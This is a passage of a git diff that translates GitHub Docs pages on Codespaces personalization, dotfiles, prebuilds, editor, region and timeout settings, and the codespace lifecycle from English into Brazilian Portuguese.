+- [Configurações de sincronização](#settings-sync) - Você pode usar e compartilhar as configurações {% data variables.product.prodname_vscode %} entre {% data variables.product.prodname_codespaces %} e outras instâncias de {% data variables.product.prodname_vscode %}.
+- [Dotfiles](#dotfiles) - Você pode usar um repositório `dotfiles` para especificar scripts, preferências do shell e outras configurações.
 
-{% data variables.product.prodname_codespaces %} personalization applies to any codespace you create.
+A personalização de {% data variables.product.prodname_codespaces %} aplica-se a qualquer codespace que você criar.
 
-Project maintainers can also define a default configuration that applies to every codespace for a repository, created by anyone. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)."
+Os mantenedores do projeto também podem definir uma configuração-padrão que se aplica a todos os codespaces de um repositório, criados por qualquer pessoa. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_codespaces %} para seu projeto](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)".
 
-## Settings Sync
+## Configurações de sincronização
 
-Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}.
+A sincronização de configurações permite que você compartilhe configurações como configurações, atalhos de teclado, snippets, extensões e estado da interface de usuário entre as máquinas e instâncias de {% data variables.product.prodname_vscode %}.
 
-To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
+Para habilitar a sincronização de configurações, no canto inferior esquerdo da barra de atividades, selecione {% octicon "gear" aria-label="The gear icon" %} e clique **Habilitar as configurações de sincronização…**. Na caixa de diálogo, selecione as configurações que você deseja sincronizar.
 
-![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png)
+![Opção de configuração de sincronização no menu de gerenciamento](/assets/images/help/codespaces/codespaces-manage-settings-sync.png)
 
-For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation.
+Para obter mais informações, consulte o [Guia de sincronização de configurações](https://code.visualstudio.com/docs/editor/settings-sync) na documentação de {% data variables.product.prodname_vscode %}.
 
 ## Dotfiles
 
-Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your dotfiles repository, see [GitHub does dotfiles](https://dotfiles.github.io/).
+Os Dotfiles são arquivos e pastas de sistemas de tipo Unix, que começam com `.` e controlam a configuração de aplicativos e shells no seu sistema. Você pode armazenar e gerenciar seus dotfiles em um repositório no {% data variables.product.prodname_dotcom %}. Para orientação e tutoriais sobre o que incluir no repositório dotfile, consulte o [GitHub faz dotfiles](https://dotfiles.github.io/).
 
-Your dotfiles repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make.
+O seu repositório dotfiles pode incluir os alias e preferências do seu shell, quaisquer ferramentas que você deseja instalar ou qualquer outra personalização de codespace que desejar fazer.
 
-You can configure {% data variables.product.prodname_codespaces %} to use dotfiles from any repository you own by selecting that repository in your [personal {% data variables.product.prodname_codespaces %} settings](https://github.com/settings/codespaces).
+Você pode configurar {% data variables.product.prodname_codespaces %} para usar Dotfiles de qualquer repositório que você tiver, selecionando esse repositório nas suas [Configurações pessoais de {% data variables.product.prodname_codespaces %}](https://github.com/settings/codespaces).
 
-When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your selected repository to the codespace environment, and looks for one of the following files to set up the environment.
+Ao criar um novo codespace, o {% data variables.product.prodname_dotcom %} clona seu repositórios selecionado para o ambiente do codespace e procura um dos seguintes arquivos para configurar o ambiente.
 
 * _install.sh_
 * _install_
@@ -58,45 +58,43 @@ When you create a new codespace, {% data variables.product.prodname_dotcom %} cl
 * _setup_
 * _script/setup_
 
-If none of these files are found, then any files or folders in your selected dotfiles repository starting with `.` are symlinked to the codespace's `~` or `$HOME` directory.
+Se nenhum desses arquivos for encontrado, todos os arquivos ou pastas no repositório de dotfiles selecionados que começam com `.` têm um link simbólico para o `~` do codespace ou `$HOME`.
 
-Any changes to your selected dotfiles repository will apply only to each new codespace, and do not affect any existing codespace.
+Quaisquer alterações nos seus dotfiles selecionados serão aplicadas apenas a cada novo codespace e não afetarão nenhum codespace existente.
 
 {% note %}
 
-**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)."
+**Observação:** Atualmente, o {% data variables.product.prodname_codespaces %} não é compatível com a personalização das configurações do _Usuário_ para o editor de {% data variables.product.prodname_vscode %} com o repositório `dotfiles`. É possível definir as configurações-padrão do _espaço de trabalho_ e _Remote [Codespaces]_ para um projeto específico no repositório do projeto. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_codespaces %} para seu projeto](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)".
 
 {% endnote %}
 
-### Enabling your dotfiles repository for {% data variables.product.prodname_codespaces %}
+### Habilitando o repositório de dotfiles para {% data variables.product.prodname_codespaces %}
 
-You can use your selected dotfiles repository to personalize your {% data variables.product.prodname_codespaces %} environment. Once you choose your dotfiles repository, you can add your scripts, preferences, and configurations to it. You then need to enable your dotfiles from your personal {% data variables.product.prodname_codespaces %} settings page.
+Você pode usar o repositório de Dotfiles selecionado para personalizar seu ambiente de {% data variables.product.prodname_codespaces %}. Depois de escolher o seu repositório de dotfiles, você poderá adicionar seus scripts, preferências e configurações. Em seguida, você deverá habilitar os seus dotfiles na sua página pessoal de configurações de {% data variables.product.prodname_codespaces %}.
 
 {% warning %}
 
-**Warning:** Dotfiles have the ability to run arbitrary scripts, which may contain unexpected or malicious code. Before installing a dotfiles repo, we recommend checking scripts to ensure they don't perform any unexpected actions.
+**Aviso:** Dotfiles têm a capacidade de executar scripts arbitrários, que podem conter codespace inesperado ou malicioso. Antes de instalar o repositório de um dotfiles, recomendamos verificar os scripts para garantir que eles não executam nenhuma ação inesperada.
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Dotfiles", select **Automatically install dotfiles** so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create.
-   ![Installing dotfiles](/assets/images/help/codespaces/install-custom-dotfiles.png)
-2. Choose the repository you want to install dotfiles from.
-   ![Selecting a dotfiles repo](/assets/images/help/codespaces/select-dotfiles-repo.png)
+1. Em "Dotfiles", selecione **Instalar dotfiles automaticamente** para que {% data variables.product.prodname_codespaces %} instale automaticamente seus dotfiles em cada novo codespace que você criar. ![Instalando dotfiles](/assets/images/help/codespaces/install-custom-dotfiles.png)
+2. Escolha o repositório no qual você deseja instalar dotfiles. ![Selecionando um repositório de dotfiles](/assets/images/help/codespaces/select-dotfiles-repo.png)
 
-You can add further script, preferences, configuration files to your dotfiles repository or edit existing files whenever you want. Changes to settings will only be picked up by new codespaces.
+Você pode adicionar mais script, preferências e arquivos de configuração ao repositório de dotfiles ou editar arquivos existentes sempre que quiser. As alterações nas configurações só serão selecionadas por novos codespaces.
 
-## Other available settings
+## Outras configurações disponíveis
 
-You can also personalize {% data variables.product.prodname_codespaces %} using additional [Codespaces settings](https://github.com/settings/codespaces):
+Você também pode personalizar {% data variables.product.prodname_codespaces %} usando outras [Configurações de codespace](https://github.com/settings/codespaces):
 
-- To set your default region, see "[Setting your default region for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
-- To set your editor, see "[Setting your default editor for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)."
-- To add encrypted secrets, see "[Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces)."
-- To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)."
-- To allow your codespaces to access other repositories, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)."
+- Para definir sua região padrão, consulte "[Definindo sua região padrão para {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
+- Para definir seu editor, consulte "[Definindo seu editor padrão para {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)"
+- Para adicionar segredos criptografados, consulte "[Gerenciar segredos criptografados para {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces)".
+- Para habilitar a verificação do GPG, consulte "[Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)."
+- Para permitir que seus codespaces acessem outros repositórios, consulte "[Gerenciar acesso e segurança para {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)".
 
-## Further reading
+## Leia mais
 
-* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)"
+* "[Criar um repositório](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)"
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
index 0351991d3e..6bc1a85353 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
-title: Prebuilding Codespaces for your project
-intro: You can configure your project to prebuild a codespace automatically each time you push a change to your repository.
+title: Codespaces de pré-criação para o seu projeto
+intro: Você pode configurar o seu projeto para pré-criar um codespace automaticamente cada vez que você fizer push de uma alteração no repositório.
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,17 +10,17 @@ topics:
   - Set up
   - Fundamentals
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Prebuild Codespaces
+shortTitle: Codespaces pré-construídos
 ---
 
 {% note %}
 
-**Note:** This feature is currently in private preview.
+**Observação:** Este recurso está atualmente em pré-visualização privada.
 
 {% endnote %}
 
-## About prebuilding a Codespace
+## Sobre a pré-criação de um codespace
 
-Prebuilding your codespaces allows you to be more productive and access your codespace faster. This is because any source code, editor extensions, project dependencies, commands, or configurations have already been downloaded, installed, and applied before you begin your coding session. Once you push changes to your repository, {% data variables.product.prodname_codespaces %} automatically handles configuring the builds.
+A pré-construção de seus codespace permite que você seja mais produtivo e acesse o seu codespace mais rapidamente. Isso ocorre porque qualquer código-fonte, extensões de editor, dependências de projetos, comandos, ou configurações já foram baixadas, instaladas e aplicadas antes de começar sua sessão de codificação. Depois de fazer push das alterações no repositório, o {% data variables.product.prodname_codespaces %} gerencia automaticamente a configuração das criações.
 
-The ability to prebuild Codespaces is currently in private preview. To get access to this feature, contact codespaces@github.com.
+A capacidade de pré-criar codespace está atualmente em visualização privada. Para obter acesso a este recurso, entre em contato com codespaces@github.com.
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
index 9debd30369..cc5046a083 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your default editor for Codespaces
-intro: 'You can set your default editor for {% data variables.product.prodname_codespaces %} in your personal settings page.'
+title: Definindo seu editor padrão para os codespaces
+intro: 'Você pode definir seu editor padrão para {% data variables.product.prodname_codespaces %} na sua página de configurações pessoais.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -9,18 +9,15 @@ redirect_from:
   - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces
 topics:
   - Codespaces
-shortTitle: Set the default editor
+shortTitle: Definir o editor padrão
 ---
 
-On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application.
+Na página de configurações você pode definir sua preferência de editor para que todos os codespaces sejam abertos automaticamente em {% data variables.product.prodname_vscode %} para a web ou em {% data variables.product.prodname_vscode %} para aplicativos de desktop.
 
-If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
+Se você quiser usar {% data variables.product.prodname_vscode %} como seu editor padrão para {% data variables.product.prodname_codespaces %}, você deverá instalar {% data variables.product.prodname_vscode %} e a extensão de {% data variables.product.prodname_github_codespaces %} para {% data variables.product.prodname_vscode %}. Para obter mais informações, consulte a página de download de [para {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) e a extensão de [{% data variables.product.prodname_github_codespaces %} no marketplace de {% data variables.product.prodname_vscode %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
 
-## Setting your default editor
+## Configurando o seu editor padrão
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Editor preference", select the option you want.
-   ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
-   If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
-   ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
+1. Em "Editor de preferência", selecione a opção que você desejar. ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) Se você escolher **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} será automaticamente aberto no aplicativo da área de trabalho na próxima vez que você criar um codespace. Talvez seja necessário permitir o acesso ao seu navegador e ao {% data variables.product.prodname_vscode %} para que seja aberto com sucesso. ![Configurando seu editor](/assets/images/help/codespaces/launch-default-editor.png)
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
index cf9127a3d0..cf49095b41 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your default region for Codespaces
-intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.'
+title: Definindo sua região padrão para os codespaces
+intro: 'Você pode definir sua região padrão na página de configurações do perfil de {% data variables.product.prodname_github_codespaces %} para personalizar o local onde seus dados são mantidos.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -9,15 +9,14 @@ redirect_from:
   - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces
 topics:
   - Codespaces
-shortTitle: Set the default region
+shortTitle: Definir a região padrão
 ---
 
-You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location.
+Você pode selecionar manualmente a região em que os seus codespaces serão criados, permitindo que você atenda aos requisitos rigorosos de segurança e conformidade. Por padrão, a sua região é definida automaticamente com base na sua localização.
 
-## Setting your default region
+## Definindo sua região padrão
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Region", select the setting you want.
-2. If you chose "Set manually", select your region in the drop-down list.
-   ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
+1. Em "Região", selecione a configuração desejada.
+2. Se você escolheu "Definir manualmente", selecione sua região na lista suspensa. ![Selecionando sua região](/assets/images/help/codespaces/select-default-region.png)
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
index 6df3c42808..6a1a8cd962 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
@@ -1,48 +1,45 @@
 ---
-title: Setting your timeout period for Codespaces
-intro: 'You can set your default timeout for {% data variables.product.prodname_codespaces %} in your personal settings page.'
+title: Definindo seu período de tempo limite para os codespaces.
+intro: 'Você pode definir seu tempo limite padrão para {% data variables.product.prodname_codespaces %} na sua página de configurações pessoais.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Codespaces
-shortTitle: Set the timeout
+shortTitle: Definir o tempo limite
 ---
 
-A codespace will stop running after a period of inactivity. You can specify the length of this timeout period. The updated setting will apply to any newly created codespace.
+Um codespace irá parar de funcionar após um período de inatividade. Você pode especificar a duração deste período de tempo limite. A configuração atualizada será aplicada a qualquer código recém-criado.
 
 {% warning %}
 
-**Warning**: Codespaces are billed per minute. If you are not actively using a codespace but the codespace has not yet timed out, you are still billed for the time that the codespace is running. For more information, see "[About billing for Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)."
+**Aviso**: Os codespaces são cobrados por minuto. Se você não está usando ativamente um codepsace, mas o este ainda não expirou, você ainda será cobrado pelo tempo em que o codespace estiver em execução. Para obter mais informações, consulte[Sobre a cobrança dos codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)".
 
 {% endwarning %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
-## Setting your default timeout
+## Definir seu tempo limite padrão
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours).
-   ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
+1. Em "Tempo de inatividade", digite o tempo que você deseja e, em seguida, clique em **Salvar**. O tempo deve ser entre 5 minutos e 240 minutos (4 horas). ![Selecionando o tempo limite](/assets/images/help/codespaces/setting-default-timeout.png)
 
 {% endwebui %}
 
 {% cli %}
 
-## Setting your timeout period
+## Definindo seu período de tempo limite
 
 {% data reusables.cli.cli-learn-more %}
 
-To set the timeout period when you create a codespace, use the `idle-timeout` argument with the `codespace create` subcommand. Specify the time in minutes, followed by `m`. The time must be between 5 minutes and 240 minutes (4 hours).
+Para definir o período de tempo limite ao criar um codespace, use o argumento `idle-timeout` com o subcomando `codespace create`. Especifique o tempo em minutos, seguido por `m`. O tempo deve ser entre 5 minutos e 240 minutos (4 horas).
 
 ```shell
 gh codespace create --idle-timeout 90m
 ```
 
-If you don't specify a timeout period when you create a codespace, then the default timeout period will be used. For information about setting a default timeout period, click the "Web browser" tab on this page. You can't currently specify a default timeout period through {% data variables.product.prodname_cli %}.
+Se você não especificar um período de tempo limite ao criar um codespace, será usado o período de tempo limite padrão. Para informações sobre como definir um período de tempo limite padrão, clique na aba "Navegador da Web" nesta página. Você não pode especificar um período de tempo padrão para {% data variables.product.prodname_cli %}.
 
 {% endcli %}
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
index fc9df54ea7..a118d0b903 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
@@ -1,6 +1,6 @@
 ---
-title: Codespaces lifecycle
-intro: 'You can develop in a {% data variables.product.prodname_codespaces %} environment and maintain your data throughout the entire codespace lifecycle.'
+title: Ciclo de vida dos codespaces
+intro: 'Você pode desenvolver em um ambiente {% data variables.product.prodname_codespaces %} e manter seus dados ao longo de todo o ciclo de vida do codespace.'
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,37 +11,37 @@ topics:
 product: '{% data reusables.gated-features.codespaces %}'
 ---
 
-## About the lifecycle of a codespace
+## Sobre o ciclo de vida de um codespace
 
-The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project.
+O ciclo de vida de um codespace começa quando você cria um código e termina quando você o exclui. Você pode desconectar-se e reconectar-se a um codespace ativo sem afetar seus processos em execução. Você pode parar e reiniciar o processo sem perder as alterações feitas no seu projeto.
 
-## Creating a codespace
+## Criar um codespace
 
-When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_codespaces %} or keep a long-running codespace for a feature.
+Quando você deseja trabalhar em um projeto, você pode optar por criar um novo codespaceou abrir um codespace já existente. Você deverá criar um novo codespace a partir de um branch do seu projeto toda vez que você desenvolver em {% data variables.product.prodname_codespaces %} ou mantiver um codespace de longo prazo para um recurso.
 
-If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. You can have up to 10 codespaces at a time. Once you have 10 codespaces, you must delete a codespace before you can create a new one. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
+Se você escolher criar um novo codespace, sempre que você trabalhar em um projeto, você deverá fazer push das alterações regularmente para que todos os novos commits estejam em {% data variables.product.prodname_dotcom %}. Você pode ter até 10 codespaces por vez. Depois de ter 10 codespaces, você deverá excluir um codespace antes de criar um novo. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".
 
-If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine. 
+Se você optar por usar um codespace de longo prazo para o seu projeto, você deverá retirá-lo do branch padrão do repositório cada vez que começar a trabalhar no seu codespace para que seu ambiente tenha os commits mais recentes. Esse fluxo de trabalho é muito parecido como se você estivesse trabalhando com um projeto na sua máquina local.
 
-## Saving changes in a codespace
+## Salvar alterações em um codespace
 
-When you connect to a codespace through the web, auto-save is enabled automatically for the web editor and configured to save changes after a delay. When you connect to a codespace through {% data variables.product.prodname_vscode %} running on your desktop, you must enable auto-save. For more information, see [Save/Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) in the {% data variables.product.prodname_vscode %} documentation.
+Ao conectar-se a um código através da web, a gravação automática é habilitada automaticamente para o editor da web e configurada para salvar as alterações após um atraso. Ao conectar-se a um codespace por meio de {% data variables.product.prodname_vscode %} em execução no seu computador, você deverá habilitar o salvamento automático. Para obter mais informações, consulte [Salvar/Salvar Automaticamente](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) na documentação de {% data variables.product.prodname_vscode %}.
 
-If you want to save your changes in the git repository on the codespace's file system, commit them and push them to a remote branch.
+Se você desejar salvar suas alterações no repositório do git no sistema de arquivos do codespace, faça commit e envio por push para um branch remoto.
 
-If you have unsaved changes, your editor will prompt you to save them before exiting.
+Se você tiver alterações não salvas, seu editor solicitará que você as salve antes de sair.
 
-## Codespaces timeouts
+## Tempo limite de codespaces
 
-If you leave your codespace running without interaction, or if you exit your codespace without explicitly stopping it, the codespace will timeout after a period of inactivity and stop running. By default, a codespace will timeout after 30 minutes of inactivity, but you can customize the duration of the timeout period for new codespaces that you create. For more information about setting the default timeout period for your codespaces, see "[Setting your timeout period for Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)." For more information about stopping a codespace, see "[Stopping a codespace](#stopping-a-codespace)."
+Se você não interagir com o seu codespace em execução ou se você sair do seu codespace sem pará-lo explicitamente, ele irá expirar após um determinado tempo de inatividade e irá parar de executar. Por padrão, um código irá expirar após 30 minutos de inatividade. No entanto, você pode personalizar a duração do período de tempo limite para novos codespaces que você criar. Para obter mais informações sobre a definição do período de tempo limite padrão para seus códigos, consulte "[Definindo seu período de tempo limite para os codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)". Para obter mais informações sobre como interromper um codespace, consulte "[Interrompendo um codespace](#stopping-a-codespace)".
 
-When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)."
+Quando o tempo de um codespace chega ao limite, os seus dados são preservados da última vez que suas alterações foram salvas. Para obter mais informações, consulte "[Salvando alterações em um codespace](#saving-changes-in-a-codespace)".
 
-## Rebuilding a codespace
+## Reconstruindo um codespace
 
-You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt.
+Você pode recriar o seu codespace para restaurar um estado limpo, como se tivesse criado um novo codespace. Para a maioria dos usos, você pode criar um novo codespace como uma alternativa à reconstrução de um codespace. É muito provável que você reconstrua um codespace para implementar alterações no seu contêiner de desenvolvimento. Ao reconstruir um codespace, qualquer contêiner, imagens, volumes e caches serão limpos e o codespace será reconstruído.
 
-If you need any of this data to persist over a rebuild, you can create, at the desired location in the container, a symbolic link (symlink) to the persistent directory. For example, in your `.devcontainer` directory, you can create a `config` directory that will be preserved across a rebuild. You can then symlink the `config` directory and its contents as a `postCreateCommand` in your `devcontainer.json` file.
+Se você precisar de algum desses dados para persistir em uma recriação, você poderá criar, no local desejado do contêiner, um link simbólico (symlink) para o diretório persistente. Por exemplo, no seu diretório `.devcontainer`, você poderá criar uma pasta `config` que será preservada durante uma recriação. Você pode vincular simbolicamente o diretório `config` e seu conteúdo como um `postCreateCommand` no seu arquivo de `devcontainer.json`.
 
 ```json  
 {
@@ -50,33 +50,33 @@ If you need any of this data to persist over a rebuild, you can create, at the d
 }
 ```
 
-In the example `postCreate.sh` file below, the contents of the `config` directory are symbolically linked to the home directory.
+No exemplo do arquivo `postCreate.sh`abaixo, o conteúdo do diretório `config` são está simbolicamente vinculado ao diretório principal.
 
 ```bash
 #!/bin/bash
 ln -sf $PWD/.devcontainer/config $HOME/config && set +x
 ```
 
-## Stopping a codespace
+## Interrompendo um codespace
 
-You can stop a codespace at any time. When you stop a codespace, any running processes are stopped and the terminal history is cleared. Any saved changes in your codespace will still be available when you next start it. If you do not explicitly stop a codespace, it will continue to run until it times out from inactivity. For more information, see "[Codespaces timeouts](#codespaces-timeouts)."
+Você pode interromper um codespace a qualquer momento. Ao interromper um codespace, todos os processos em execução são interrompidos e o histórico de terminais é limpo. Qualquer alteração salva no seu codespace ainda estará disponível na próxima vez que você iniciá-lo. Se você não interromper explicitamente um codespace, ele continuará sendo executado até que o tempo seja esgotado em razão de inatividade. Para obter mais informações, consulte "[Tempo esgotado de codespaces](#codespaces-timeouts)".
 
-Only running codespaces incur CPU charges; a stopped codespace incurs only storage costs.
+Apenas os codespaces em execução implicam cobranças de CPU. Um codespace interrompido implica apenas custos de armazenamento.
 
-You may want to stop and restart a codespace to apply changes to it. For example, if you change the machine type used for your codespace, you will need to stop and restart it for the change to take effect. You can also stop your codespace and choose to restart or delete it if you encounter an error or something unexpected. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
+Você deverá interromper e reiniciar um codespace para aplicar as alterações nele. Por exemplo, se você mudar o tipo de máquina usado no seu codespace, você deverá interromper e reiniciá-la para que a alteração seja implementada. Você também pode interromper o seu codespace e optar por reiniciá-lo ou excluí-lo se você encontrar um erro ou algo inesperado. Para obter mais informações, consulte "[Suspender ou interromper um codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)".
 
-## Deleting a codespace
+## Excluir um codespace
 
-You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch.
+Você pode criar um codespace para uma tarefa específica e, em seguida, excluir com segurança o codespace depois que você fizer push das alterações em um branch remoto.
 
-If you try to delete a codespace with unpushed git commits, your editor will notify you that you have changes that have not been pushed to a remote branch. You can push any desired changes and then delete your codespace, or continue to delete your codespace and any uncommitted changes. You can also export your code to a new branch without creating a new codespace. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+Se você tentar excluir um codespace com commits git que não foram enviados por push, o seu editor irá notificar você de que você tem alterações que não foram enviadas por push para um branch remoto. Você pode fazer push de todas as alterações desejadas e, em seguida, excluir o seu codespace ou continuar excluindo o seu codespace e todas as alterações que não foram enviadas por commit. Você também pode exportar seu codespace para um novo branch sem criar um novo codespace. Para obter mais informações, consulte "[ Exportando alterações para um branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
 
-You will be charged for the storage of all your codespaces. When you delete a codespace, you will no longer be charged.
+Você será cobrado pelo armazenamento de todos os seus codespaces. Ao excluir um codespace, você não será mais cobrado.
 
-For more information on deleting a codespace, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
